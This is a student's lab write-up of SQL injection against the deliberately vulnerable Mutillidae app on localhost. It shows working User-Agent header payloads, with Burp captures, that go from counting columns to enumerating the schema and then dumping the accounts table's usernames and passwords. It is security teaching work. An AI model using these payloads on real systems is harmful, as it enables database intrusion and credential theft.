

Lab 2 – View Captured Data

Ahmed Khaled Saad Ali

ID:1809799

Introduction

We have discovered that “User Agent” field takes values when we Intercept “Capture Data” on Burp Suite.

For Example, we will write “Ahmed Mekheimer 123” in “User Agent” field to see if it is captured back on mutillidae or not.



We forward and get no errors.



[View Captured Data](#)

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\ahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named **captured_data** and **logs** the captured data. There is another page named **captured-data.php** that attempts to list the contents of this table.


The data captured on this request is: page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1


Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.


**Browser: Ahmed Mekheimer 123
PHP Version: 8.0.28**

We click view captured data, then forward on burp, we will see that “User Agent” field read the value we entered.

So, “User Agent” is the SQL query vulnerable to SQL Injection that we will use.

 Refresh

 Delete Capured Data

 Capture Data

1 captured records found

Hostname	Client IP Address	Client Port	User Agent	Referrer	Data	Date/Time
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&deleteLogs=deleteLogs	page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1	2023-04-10 01:31:11

We will simply inject the provided SQL lines (on LMS) in this field the same way.

Step1. Guessing/Determining column numbers

Forward	Drop	Intercept is on	Action	Open browse
Pretty	Raw	Hex		
1	GET /mutillidae/index.php?page=capture-data.php HTTP/1.1			
2	Host: localhost			
3	sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"			
4	sec-ch-ua-mobile: ?0			
5	sec-ch-ua-platform: "Windows"			
6	Upgrade-Insecure-Requests: 1			
7	User-Agent: 1', '1') #			
8	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif			
9	Sec-Fetch-Site: same-origin			
10	Sec-Fetch-Mode: navigate			
11	Sec-Fetch-User: ?1			
12	Sec-Fetch-Dest: document			
13	Referer: http://localhost/mutillidae/index.php?page=captured-data.php			
14	Accept-Encoding: gzip, deflate			
15	Accept-Language: en-US,en;q=0.9			
16	Cookie: PHPSESSID=epkql6c3thr66m606apubh2iha; showhints=1			
17	Connection: close			

When we forward, back to site, we get an error that number of columns entered aren't matching, we can already deduce from SQL query below that we need 7 columns to fill with data, "ip_address, hostname, port, user_agent_string, referrer, data, capture_date).

Error Message

Failure is always an option	
Line	238
Code	0
File	H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php
Message	<p>H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php on line 233: Error executing query:</p> <p>connect_errno: 0 errno: 1136 error: Column count doesn't match value count at row 1 client_info: mysqlnd 8.0.28 host_info: 127.0.0.1 via TCP/IP</p> <p>) Query: INSERT INTO captured_data(ip_address, hostname, port, user_agent_string, referrer, data, capture_date) VALUES ('127.0.0.1', '127.0.0.1', '4108', '1', '1') #', 'http://localhost/mutillidae/index.php?page=captured-data.php', 'page = capture-data.php\r\nPHPSESSID = epkql6c3thr66m606apubh2iha(showhints = 1(((, now()) (0) [exception]</p>

Note: Also no data was captured in table on site.

We will continue to add more 1s until we get no error messages.

	Forward	Drop	Intercept is on	Action	Open brow
	Pretty	Raw	Hex		
1	GET /mutillidae/index.php?page=capture-data.php HTTP/1.1				
2	Host: localhost				
3	sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"				
4	sec-ch-ua-mobile: ?0				
5	sec-ch-ua-platform: "Windows"				
6	Upgrade-Insecure-Requests: 1				
7	User-Agent: '','1','1') #				
8	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/av.				
9	Sec-Fetch-Site: same-origin				
10	Sec-Fetch-Mode: navigate				
11	Sec-Fetch-User: ?1				
12	Sec-Fetch-Dest: document				
13	Referer: http://localhost/mutillidae/index.php?page=captured-data.php				
14	Accept-Encoding: gzip, deflate				
15	Accept-Language: en-US,en;q=0.9				
16	Cookie: PHPSESSID=epkql6c3thr66m606apubh2iha; showhints=1				
17	Connection: close				

We get the same type of error.

Error Message

Failure is always an option	
Line	238
Code	0
File	H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php
Message	H:\XAMPP\htdocs\mutillidae\classes\MySQLHandler.php on line 233: Error executing query: connect_errno: 0 errno: 1136 error: Column count doesn't match value count at row 1 client_info: mysqlnd 8.0.28 host_info: 127.0.0.1 via TCP/IP) Query: INSERT INTO captured_data(ip_address, hostname, port, user_agent_string, referrer, data, capture_date) VALUES ('127.0.0.1', '127.0.0.1', '4168', '1','1','1') #', 'http://localhost/mutillidae/index.php?page=captured-data.php', 'page = capture-data.php\r\nPHPSESSID = eokol6c3thr66m606apubh2iha\r\nshowhints = 1\r\n'. now()) (0) [Exception]

Forward
Drop
Intercept is on
Action



Pretty
Raw
Hex


```


1 GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="111", "Not (A:Brand";v="8"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: 1','1','1','1') #
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Referer: http://localhost/mutillidae/index.php?page=capture
14 Accept-Encoding: gzip, deflate
15 Accept-Language: en-US,en;q=0.9
16 Cookie: PHPSESSID=epkq16c3thr66m606apubh2iha; showhints=1
17 Connection: close

```

When we forward on Burp, we get no error message.

 Back
 Help Me!

 Hints and Videos

 View Captured Data

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\ahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named **captured_data** and [logs](#) the captured data. There is another page named [captured-data.php](#) that attempts to list the contents of this table.




The data captured on this request is: page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1

Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.

Browser: 1','1','1','1') #
PHP Version: 8.0.28

When viewing captured data, we see the injected line's effect in the table.

So, since we got no errors number of columns is **7**.

 Refresh  Delete Capured Data  Capture Data

2 captured records found						
Hostname	Client IP Address	Client Port	User Agent	Referrer	Data	Date/Time
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&deleteLogs=deleteLogs	page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1	2023-04-10 01:31:11
127.0.0.1	127.0.0.1	4202	1	1	1	0000-00-00 00:00:00

Step2. Viewing Database Version

```
GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: 1', (select @@version), '1', '1') #
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/mutillidae/index.php?page=captured-
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=epkq16c3thr66m606apubh2iha; showhints=1
Connection: close
```

When we forward on Burp, no error messages.

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\lahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named `captured_data` and [logs](#) the captured data. There is another page named [captured-data.php](#) that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1

Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.

```
Browser: 1', (select @@version), '1', '1') #
PHP Version: 8.0.28
```

We View Capture data and we get the Database Version.

3 captured records found				
Hostname	Client IP Address	Client Port	User Agent	Referrer
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&deleteLogs=deleteLogs
127.0.0.1	127.0.0.1	4202	1	1
127.0.0.1	127.0.0.1	4251	1	10.4.28-MariaDB

Step3. Know from tables in INFORMATION_SCHEMA all tables of database of mutillidae.

Getting all tables.

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: 1',(select TABLE_NAME from INFORMATION_SCHEMA.TABLES),'1','1') #
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Referer: http://localhost/mutillidae/index.php?page=captured-data.php
14 Accept-Encoding: gzip, deflate
15 Accept-Language: en-US,en;q=0.9
16 Cookie: PHPSESSID=epkql6c3thr66m606apubh2iha; showhints=1
```

We forward on Burp, we get an error, I think because there is multiple rows, so we will try “group_concat” to concatenate the data from multiple rows into one field.

Pretty Raw Hex

```
1 GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: 1',(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES),'1','1') #
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Referer: http://localhost/mutillidae/index.php?page=captured-data.php
14 Accept-Encoding: gzip, deflate
15 Accept-Language: en-US,en;q=0.9
16 Cookie: PHPSESSID=epkql6c3thr66m606apubh2iha; showhints=1
```

We forward, get no error messages.

[View Captured Data](#)

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\ahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named **captured_data** and [logs](#) the captured data. There is another page named [captured-data.php](#) that attempts to list the contents of this table.

The data captured on this request is: **page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1**

Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.

Browser: 1',(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES),'1','1') #
PHP Version: 8.0.28

We “View capture data” and we got all tables in INFORMATION_SCHEMA

Hostname	Client IP Address	Client Port	User Agent	
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&deleteLogs=deleteLogs
127.0.0.1	127.0.0.1	4202	1	1
127.0.0.1	127.0.0.1	4251	1	10.4.28-MariaDB
127.0.0.1	127.0.0.1	4363	1	ALL_PLUGINS.APPLICABLE_ROLES.CHARACTER_SETS.CHECK_CONSTRAINTS.COLLATIONS.COLLATION_CHARACTER_SET_APPLICABILITY.COLUMNS.C

Lets now extract tables of mutillidae.

```
GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: 1',(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema = database()),'1','1') #
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/mutillidae/index.php?page=captured-data.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=epkq16c3thr66m606apubh2iha; showhints=1
Connection: close
```

When we forward, we get no errors.



[View Captured Data](#)

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\ahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named **captured_data** and **logs** the captured data. There is another page named [captured-data.php](#) that attempts to list the contents of this table.

The data captured on this request is: **page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1**

Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.

Browser: 1',(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema = database()),'1','1') #
PHP Version: 8.0.28

View Capture data, we got tables of mutillidae database. Since we want to get usernames and passwords we will target “accounts” table.

Hostname	Client IP Address	Client Port	User Agent	
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&deleteLogs=deleteLogs
127.0.0.1	127.0.0.1	4202	1	1
127.0.0.1	127.0.0.1	4251	1	10.4.28-MariaDB
127.0.0.1	127.0.0.1	4363	1	ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS
127.0.0.1	127.0.0.1	4409	1	accounts, blogs_table, captured_data, credit_cards, help_texts, hitlog, level_1_help_include_files, page_help, page_hints, pen_test_tools, user_poll_results, youtubevideos

Extracting “accounts” table information.

```
Pretty Raw Hex
1 GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium",v="111", "Not (A:Brand";v="9"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: 1', (select group_concat(column_name) from INFORMATION_SCHEMA.COLUMNS where table_schema=database() and table_name='accounts'),'1','1') #
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Referer: http://localhost/mutillidae/index.php?page=captured-data.php
14 Accept-Encoding: gzip, deflate
15 Accept-Language: en-US,en;q=0.9
16 Cookie: PHPSESSID=epkq16c3thr66m606apubh2iha; showhints=1
17 Connection: close
```

We forward, get no errors.



[View Captured Data](#)

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\ahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named **captured_data** and **logs** the captured data. There is another page named [captured-data.php](#) that attempts to list the contents of this table.

The data captured on this request is: **page = capture-data.php PHPSESSID = epkq16c3thr66m606apubh2iha showhints = 1**

Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.

```
1', (select group_concat(column_name) from INFORMATION_SCHEMA.COLUMNS where table_schema=database() and table_name='accounts'),'1','1') #
PHP Version: 8.0.28
```

View captured data.



Refresh



Delete Captured Data



Capture Data

Hostname	Client IP Address	Client Port	User Agent	
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&delet
127.0.0.1	127.0.0.1	4202	1	1
127.0.0.1	127.0.0.1	4251	1	10.4.28-MariaDB
127.0.0.1	127.0.0.1	4363	1	ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHEC
127.0.0.1	127.0.0.1	4409	1	accounts,blogs_table,captured_data,credit_cards,help_texts,hitlog,l
127.0.0.1	127.0.0.1	4507	1	cid,username,password,mysignature,is_admin,firstname,lastname

At last, we will target “username” & “password” from “accounts” table.

```
Pretty  Raw  Hex
1 GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
2 Host: localhost
3 sec-ch-ua: "Chromium";v="111", "Not (A:Brand";v="8"
4 sec-ch-ua-mobile: ?0
5 sec-ch-ua-platform: "Windows"
6 Upgrade-Insecure-Requests: 1
7 User-Agent: 1',(select group_concat(username,password) from accounts),'1','1') #
8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
9 Sec-Fetch-Site: same-origin
0 Sec-Fetch-Mode: navigate
1 Sec-Fetch-User: ?1
2 Sec-Fetch-Dest: document
3 Referer: http://localhost/mutillidae/index.php?page=captured-data.php
4 Accept-Encoding: gzip, deflate
5 Accept-Language: en-US,en;q=0.9
6 Cookie: PHPSESSID=epkql6c3thr66m606apubh2iha; showhints=1
7 Connection: close
```

We forward and we get no errors.

Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a database table. It loops through the POST and GET parameters and records them to a file named **captured-data.txt**. On this system, the file should be found at **C:\Users\ahmed\AppData\Local\Temp\captured-data.txt**. The page also tries to store the captured data in a database table named `captured_data` and **logs** the captured data. There is another page named [captured-data.php](#) that attempts to list the contents of this table.




The data captured on this request is: page = capture-data.php PHPSESSID = epkql6c3thr66m606apubh2iha showhints = 1

Would it be possible to hack the hacker? Assume the hacker will view the captured requests with a web browser.

**Browser: 1',(select group_concat(username,password) from accounts),'1','1') #
PHP Version: 8.0.28**

When we View Captured data, we get all accounts' usernames & passwords concatenated in each field.

For example, in 1st field username='admin' & password='adminpass'

 Refresh  Delete Capured Data  Capture Data

Hostname	Client IP Address	Client Port	User Agent	
127.0.0.1	127.0.0.1	4060	Ahmed Mekheimer 123	http://localhost/mutillidae/index.php?page=captured-data.php&deleteLogs=deleteLogs
127.0.0.1	127.0.0.1	4202	1	1
127.0.0.1	127.0.0.1	4251	1	10.4.28-MariaDB
127.0.0.1	127.0.0.1	4363	1	ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLATION_CHARACTER_S
127.0.0.1	127.0.0.1	4409	1	accounts,blogs_table,captured_data,credit_cards,help_texts,hitlog,level_1_help_include_files,page_help,page_hints,pen_test_tools,
127.0.0.1	127.0.0.1	4507	1	cid,username,password,mysignature,is_admin,firstname,lastname
127.0.0.1	127.0.0.1	4555	1	adminadminpass,adriansomepassword,johnmonkey,jeremypassword,brycepassword,samuraisamurai,jimpassword,bobbypassword

Lessons Learned:

1. Trace the SQL queries that can simply get SQL injected from requests sent from application.
2. Determining data deep in a table in a database, would take multiple SQL injection lines in order to know: the database schema, tables names, the fields of the targeted table and finally extract the info from the targeted fields.

Thanks to Allah for doing this lab.

Thanks TA Amal for help.

Thanks to colleague Ahmed Salama for his help (wasn't cheat, he explained to me lab)